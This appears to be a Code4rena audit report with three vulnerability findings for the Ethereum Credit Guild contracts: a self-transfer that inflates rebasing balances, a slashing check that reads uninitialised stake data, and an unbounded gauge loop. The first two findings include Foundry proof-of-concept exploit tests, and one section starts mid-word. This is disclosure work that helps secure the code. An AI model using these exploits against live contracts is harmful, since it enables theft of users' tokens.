Ethereum Credit Guild - 0xadrii's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/ERC20RebaseDistributor.sol#L653-L654 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/ERC20RebaseDistributor.sol#L701 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/ERC20RebaseDistributor.sol#L708 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/ERC20RebaseDistributor.sol#L712

Vulnerability details

Impact

Caching user’s balances in ERC20RebaseDistributor's transfer() and transferFrom() makes is possible to increase your CREDIT balance by transferring funds to yourself.

The CreditToken implementation inherits from ERC20RebaseDistributor , an ERC20 implementation with rebase capabilities. This contract needs to override the regular ERC20’s transfer() and transferFrom() to consider the rebasing state of the users involved in the transfer. At a high level, the transferring functions will:

1. Fetch the current rebasing state (number of shares + boolean indicating if user is currently rebasing) for both the sender and the receiver of the tokens
2. Mint corresponding rebased amount of shares to the from address and decrease unminted rebase rewards
3. Transfer the tokens by usning the regular ERC20 transfer/transferFrom function
4. If from is rebasing, update the rebasing state of from (update shares to acknowledge the shares transferred from from )
5. If to is rebasing, update rebasing state of to (update shares to acknowledge the shares transferred to to)
6. Update the total rebasing shares status

function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        // if `from` is rebasing, materialize the tokens from rebase to ensure
        // proper behavior in `ERC20.transfer()`.
        // @audit-issue [HIGH] - Transferring funds to yourself increases your share balance
        RebasingState memory rebasingStateFrom = rebasingState[msg.sender];
        RebasingState memory rebasingStateTo = rebasingState[to];
        uint256 fromBalanceBefore = ERC20.balanceOf(msg.sender);
        uint256 _rebasingSharePrice = (rebasingStateFrom.isRebasing == 1 ||
            rebasingStateTo.isRebasing == 1)
            ? rebasingSharePrice()
            : 0; // only SLOAD if at least one address is rebasing
        
				... // --> Hidden for simplicity. This part takes care of deducting shares from `from` and transfer the actual tokens

        // if `to` is rebasing, update its number of shares
        if (rebasingStateTo.isRebasing == 1) {
            // compute rebased balance
            uint256 rawToBalanceAfter = ERC20.balanceOf(to);
            uint256 toBalanceAfter = _shares2balance(
                rebasingStateTo.nShares,
                _rebasingSharePrice,
                amount,
                rawToBalanceAfter
            );

            // update number of shares
            uint256 toSharesAfter = _balance2shares(
                toBalanceAfter,
                _rebasingSharePrice
            );
            uint256 sharesReceived = toSharesAfter - rebasingStateTo.nShares;
            sharesDelta += int256(sharesReceived);
            rebasingState[to] = RebasingState({
                isRebasing: 1,
                nShares: uint248(toSharesAfter)
            });

            // "realize" unminted rebase rewards
            uint256 mintAmount = toBalanceAfter - rawToBalanceAfter;
            if (mintAmount != 0) {
                ERC20._mint(to, mintAmount);
                decreaseUnmintedRebaseRewards(mintAmount);
                emit RebaseReward(to, block.timestamp, mintAmount);
            }
        }

        ...

        return success;
    }

The problem with the current implementation is that the rebasing state for the sender and the receiver is fetched at the beginning of both transfer() and transferFrom() , and such state is later used at the end of the transfer/transferFrom functions to compute the final to shares balance without considering the balance changes performed by actually transferring the tokens from from to to.

Consider the previous snippet, extracted from ERC20RebaseDistributor.sol. The hidden part the share update and token transfer from from. After that, if rebasingStateTo.isRebasing == 1 (if to is rebasing), _shares2balance() will be used to compute the toBalanceAfter (a critical variable that will be used to update the user’s share balance state), which will have rebasingStateTo.nShares (the initial unchanged share state of to) passed as parameter to compute the actual balance after. This is wrong, given that _shares2balance should compute the toBalanceAfter taking into account the tokens deducted from from when the actual token transfer took place. Because such deducted tokens are not considered, a user can inflate their share balance by transferring tokens to themselves.

Note: It is important to highlight the fact that this attack is only possible if the user is actually rebasing, otherwise, only a regular ERC20 token transfer will be performed (hidden in the snippet).

Proof of Concept

The following Proof of Concept illustrates how Alice can increase her balance by transferring 500 additional CREDIT tokens to herself. In order to execute the PoC, copy the following test in ./test/unit/tokens/CreditToken.t.sol and execute the following command: forge test --mt testVuln_transferFundsToYourselfIncreasesYourSharesBalance

function testVuln_transferFundsToYourselfIncreasesYourSharesBalance() public {
        // Step 1. Create/grant role
        vm.startPrank(governor);
        core.createRole(CoreRoles.CREDIT_MINTER, CoreRoles.GOVERNOR);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(this));
        vm.stopPrank();

        // Step 2. Set initial state: mint 1000 CREDIT to Alice and Bob
        token.mint(alice, 1000e18);
        token.mint(bob, 1000e18);
        token.forceEnterRebase(alice);
        token.forceEnterRebase(bob);

        assertEq(token.rebasingSupply(), 2000e18);
        assertEq(token.nonRebasingSupply(), 0);
        assertEq(token.balanceOf(alice), 1000e18);
        assertEq(token.balanceOf(bob), 1000e18);

        // Step 3. Distribute 1000 CREDIT tokens
        token.mint(address(this), 1000e18);
        token.approve(address(token), 1000e18);
        token.distribute(1000e18);
        vm.warp(block.timestamp + token.DISTRIBUTION_PERIOD());

        assertEq(token.rebasingSupply(), 3000e18);
        assertEq(token.nonRebasingSupply(), 0);
        assertEq(token.balanceOf(alice), 1500e18);
        assertEq(token.balanceOf(bob), 1500e18);

        // Step 4. Alice transfers 500 tokens to herself
        vm.startPrank(alice);
        token.approve(alice, token.balanceOf(alice));
        token.transferFrom(alice, alice, 500e18);
        
        // Step 5. Checks: Alice's balance has been incremented by 500 CREDIT. Bob's balance remains unchanged.
        assertEq(token.balanceOf(alice), 2000e18); // Alice balance increased by 500 CREDIT tokens
        assertEq(token.balanceOf(bob), 1500e18); // Bob balance unchanged
    }

Tools used

Manual review, foundry

Recommended Mitigation Steps

Update the transfer() and transferFrom() functions to fetch the state of to after deducting the shares from from, or add checks to ensure that a user can’t transfer tokens to themselves.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol#L229

Vulnerability details

Impact

SurplusGuildMinter enables users to stake their CREDIT tokens in order to support gauges, obtaining rewards in the form of GUILD and CREDIT tokens in exchange. This is thought as a safety mechanism: users who stake in favor of a properly-behaved lending term will get rewarded, while users who stake for a gauge that causes losses to the protocol will get their staked balance slashed.

In order to apply slashing in the staking mechanism, the getRewards() function is used, which will

1. Fetch the lastGaugeLoss() of the term being staked for. The last gauge loss is the timestamp of the last loss that impacted the gauge.
2. If the user’s lastGaugeLoss timestamp is smaller than the gauge’s lastGaugeLoss(), it will mean that the user is slashable (user’s lastGaugeLoss is set to the staking timestamp, meaning that if a loss occurs AFTER the user has staked, the user will be slashable)

// SurplusGuildMinter.sol
function getRewards(
        address user, 
        address term
    )
        public
        returns (
            uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
            UserStake memory userStake, // stake state after execution of getRewards()
            bool slashed // true if the user has been slashed
        )
    { 

        bool updateState; 
        lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);

        if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) { // @audit-issue [HIGH] - Users will always be slashed if gauge has incurred any loss
            slashed = true;
        }

			 // if the user is not staking, do nothing
        userStake = _stakes[user][term];
				
				...

}

The problem with the getRewards() is that the user staked status stored in the contract’s storage is actually fetched AFTER performing the slashing check. The previous code snippet shows how _stakes[user][term] is loaded into the memory variable userStake after checking the slashing status. userStake.lastGaugeLoss is used in order to verify if the user is slashable (if (lastGaugeLoss > uint256(userStake.lastGaugeLoss))), but its value will always be zero because its actual data stored in storage will be obtained later and userStake is never initialized (it is a named return parameter).

Users staking after a gauge loss should not be slashable (only users that were staking prior or during a loss should be elegible of being slashed). However, the previously described issue makes ALL stakers that stake after any loss incurred by the gauge be automatically slashable, effectively losing their all of their staked CREDIT tokens.

Proof of Concept

The following proof of concept shows how user2 will lose all of their staked balance due to the previous issue. In order to reproduce the PoC, just copy the function into ./test/unit/loan/SurplusGuildMinter.sol and execute it.

function testVuln_usersWillAlwaysGetSlashedAfterGaugeHasIncurredALoss() public {
        // initial state
        address user1 = makeAddr("user1"); 
        address user2 = makeAddr("user2"); 
        credit.mint(address(user1), 100e18);
        credit.mint(address(user2), 100e18);

        // 1. User 1 stakes 100 CREDIT
        vm.startPrank(user1);
        credit.approve(address(sgm), 100e18);
        sgm.stake(term, 100e18);
         
        // check state after staking
        SurplusGuildMinter.UserStake memory stakeUser1 = sgm.getUserStake(user1, term);
        assertEq(stakeUser1.credit, 100e18); 
        vm.stopPrank();
        
        // 2. Move forward one block and notify a loss to the gauge
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        
        profitManager.notifyPnL(term, -10e18);
        assertEq(guild.lastGaugeLoss(term), block.timestamp);

        // --- After this point, any user staking will always be slashed --- // 

        // 3. Move forward another block and slash Surplus Guild Minter contract
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 13);
        guild.applyGaugeLoss(term, address(sgm));
        assertEq(guild.balanceOf(address(sgm)), 0); // slashed

        // 4. Stake with user 2.

        // Initially, user 2 will stake 100 CREDIT tokens. 
        vm.startPrank(user2);
        credit.approve(address(sgm), 100e18);
        sgm.stake(term, 80e18);
         
        // At this point, getRewards() already computes that user2 is slashable. However, because staking for the first time
        // does not check if user must be slashed, user2's first stake will be succesful, returning a user stake of 100 CREDIT.
        SurplusGuildMinter.UserStake memory stakeUser2 = sgm.getUserStake(user2, term);
        assertEq(stakeUser2.credit, 80e18); 

        // From now on, if a `getRewards()` call is performed, it will not return earlier and will check the slashing state of the user due 
        // to `userStake.stakeTime`not being == 0. This will make `getRewards()` slash the user, and the previously staked 100 CREDIT tokens
        // will be completely slashed, making user2 have a staked balance of 0 CREDIT (being slashed)
        sgm.getRewards(user2, term);

        stakeUser2 = sgm.getUserStake(user2, term);
        assertEq(stakeUser2.credit, 0); 
        vm.stopPrank();
    }

Tools Used

Manual review, foundry

Recommended Mitigation Steps

The mitigation is fairly easy. The user stake stored in storage needs to be loaded to userStake prior to executing the slashing check, likeso:

function getRewards(
        address user, 
        address term
    )
        public
        returns (
            uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
            UserStake memory userStake, // stake state after execution of getRewards()
            bool slashed // true if the user has been slashed
        )
    { 

        bool updateState; 
        lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
				
+        // if the user is not staking, do nothing
+        userStake = _stakes[user][term];

        if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) { 
            slashed = true;
        }

-        // if the user is not staking, do nothing
-        userStake = _stakes[user][term];

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol#L239 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L442-L443

Vulnerability details

Impact

esponding gauge weight on behalf of the SurplusGuildMinter (this means the SurplusGuildMinter will be the user that the weight will be incremented for when increasing a certain gauge’s weight).

Each time a user stakes/unstakes, the getRewards() function will be triggered, which will claim the rewards from the profit manager in order to properly forward rewards to the user. In order to claim rewards, the claimRewards() function from the ProfitManager contract will be called:

// SurplusGuildMinter.sol

function getRewards(
        address user,
        address term
    )
        public
        returns (
            uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
            UserStake memory userStake, // stake state after execution of getRewards()
            bool slashed // true if the user has been slashed
        )
    {
        ...

        // compute CREDIT rewards
        ProfitManager(profitManager).claimRewards(address(this)); // this will update profit indexes
	        
				...
    }

Because gauge weights are incremented on behalf of the surplus guild minter contract, every time a new gauge is added to a market and made available for staking, the SurplusGuildMinter will have an additional gauge stored in the GUILD token contract’s _userGauges variable (an enumerable set used to track the amount of gauges a user is currently voting for).

When claiming rewards in the staking and unstaking process, the profit manager will query the list of user gauges that the SurplusGuildMinter has increased the weight for, and then claim the rewards for each of the gauges in a loop contained in ProfitManager’s claimRewards() :

// ProfitManager.sol

function claimRewards(
        address user
    ) external returns (uint256 creditEarned) {
        address[] memory gauges = GuildToken(guild).userGauges(user);
        for (uint256 i = 0; i < gauges.length; ) {
            creditEarned += claimGaugeRewards(user, gauges[i]);
            unchecked {
                ++i;
            }
        }
    }

The problem with this approach is that the list of userGauges can be increased to the actual total amount of lending terms available for the market, which can actually be a big number. This will force claimRewards() to iterate over all of such gauges, potentially leading to an out of gas error, and rendering the staking/unstaking capabilities in the Surplus Guild Minter unusable.

Tools Used

Manual review

Recommended Mitigation Steps

It is recommended to only claim the rewards for the gauge that is currently being staked/unstaked for/from. This will make the gauge index of the corresponding lending term be updated (which actually is the only updated index needed to properly stake/unstake), removing the possibility of being affected by the mentioned Denial of Service issue.

Assessed type

DoS